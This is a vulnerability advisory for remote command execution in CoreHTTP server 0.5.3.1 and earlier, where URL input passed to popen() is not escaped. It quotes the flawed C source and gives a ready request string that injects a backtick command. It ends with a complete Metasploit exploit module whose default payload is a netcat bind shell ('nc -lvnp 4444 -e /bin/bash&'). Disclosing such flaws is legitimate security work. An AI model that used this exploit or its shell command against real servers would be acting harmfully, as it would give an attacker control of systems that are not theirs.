Package name: CoreHTTP server
Version: 0.5.3.1 and below (as long as cgi support is enabled)
Software URL: http://corehttp.sourceforge.net/
Exploit: http://aconole.brad-x.com/programs/corehttp_cgienabled.rb
Issue: CoreHTTP server fails to properly sanitize input before calling popen()
and allows an attacker using a standard web browser to execute arbitrary
commands.
NOTE: depending on the script and directory permissions, the attacker
may not be able to view output.
Further Discussion: During code review / debugging of CoreHTTP, a look at http.c
source file revealed:
/* escape the url for " and \ since we use it in popen */
for (i = 0; i < PATHSIZE; i++) {
if (url[i] == '\0') break;
else if (url[i] == '\\' || url[i] == '\"' || url[i] == '\'') {
find = url + i;
strcpy(temp, find);
*find = '\\';
*(find+1) = '\0';
strcat(url, temp);
i++;
}
}
In the above, only " and \ are escaped, allowing one to specify |`& and any
other special formatting.
The URL then gets broken into 2 parts:
- url (which in this case is a script)
- args (which contains our 'evil' buffer)
There is a caveat though:
if (c == 0) { /* TODO our dirlist perl script takes the path
of the dir as the arg. the way we do cgi
right now is scipt.pl?arg turns into
commandprompt> ./script.pl arg. obviously
when urlencode is implemented correctly this
must be changed. */
strcpy(args, url);
strcpy(url, DIRLIST);
break;
}
In this, we can see that DIRLIST overwrites the value of url and url overwrites
the value of args - so for simple directory listing this vulnerability becomes
a bit more difficult to exploit (depending on directory name, the system could
still be vulnerable).
Finally, here's the call to popen:
} else if (cmd[0] != '\0') { /* if its dynamic content */
pipe(pipefd); /* make pipe then fork */
c = fork();
if (c > 0) { /* original, keep going */
close(pipefd[1]); /* no need to write */
sprocket->fd = pipefd[0];
SetNonBlock(sprocket->fd);
} else if (c == 0) { /* child, popen */
close(pipefd[0]); /* no need to read */
pipetoprog = popen(cmd, "r");
/* fread should be non-blocking for this to exit fast
when parent proc closes pipe */
while ((i = fread(temp, 1, BUFSIZE, pipetoprog)) != 0
&& write(pipefd[1], temp, i) > 0);
pclose(pipetoprog);
close(pipefd[1]);
exit(EXIT_SUCCESS); /* exit after done */
} else { /* failed */
RemoveSprock(sprocket, &FIRSTSPROCK);
return NULL;
}
And there you have it. Simply download coreHTTP for yourself, build, enable CGI,
touch foo.pl and then send it a request for /foo.pl%60command%26%60 which will
set url to /foo.pl and args to `command&` and call popen. Voila!
===========
###
## MSF Exploit for CoreHTTP CGI Enabled Remote Arbitrary Command Execution
## CoreHTTP fails to properly sanitize user input before passing it to popen,
## allowing anyone with a web browser to run arbitrary commands.
## No CVE for this yet.
###
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'corehttp remote command execution',
'Description' => %q{
This module exploits a remote command execution vulnerability in corehttp versions 0.5.3.1 and earlier.
It requires that you know the name of a cgi file on the server.
NOTE: If you want to do something more than remote shell, you'll have to change CGICMD
},
'Author' => [ 'Aaron Conole' ],
'License' => MSF_LICENSE,
'Version' => '$Revision:$',
'References' =>
[
[ 'URL', 'http://aconole.brad-x.com/advisories/corehttp.txt' ],
[ 'URL', 'http://corehttp.sourceforge.net' ],
],
'Priviledged' => false,
'Payload' =>
{
'Space' => 1024,
},
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [[ 'Automatic', { }]],
'DefaultTarget' => 0))
register_options(
[
OptString.new('CGIURI', [true, "The URI of the CGI file to request", "/foo.pl"]),
OptString.new('CGICMD', [true, "The command to execute on the remote machine (note: it doesn't support redirection)", "nc -lvnp 4444 -e /bin/bash&"])
], self.class)
end
def exploit
timeout = 0.01
print_status ("Building URI")
uri = ""
uri = uri.concat(datastore['CGIURI'])
uri = uri.concat("?%60")
uri.concat(datastore['CGICMD'])
uri = uri.gsub(" ", "%20")
uri.concat("%60")
uri = uri.gsub("&", "%26")
print_status("Trying URI #{uri}")
response = send_request_raw({ 'uri' => uri}, timeout)
handler
end
end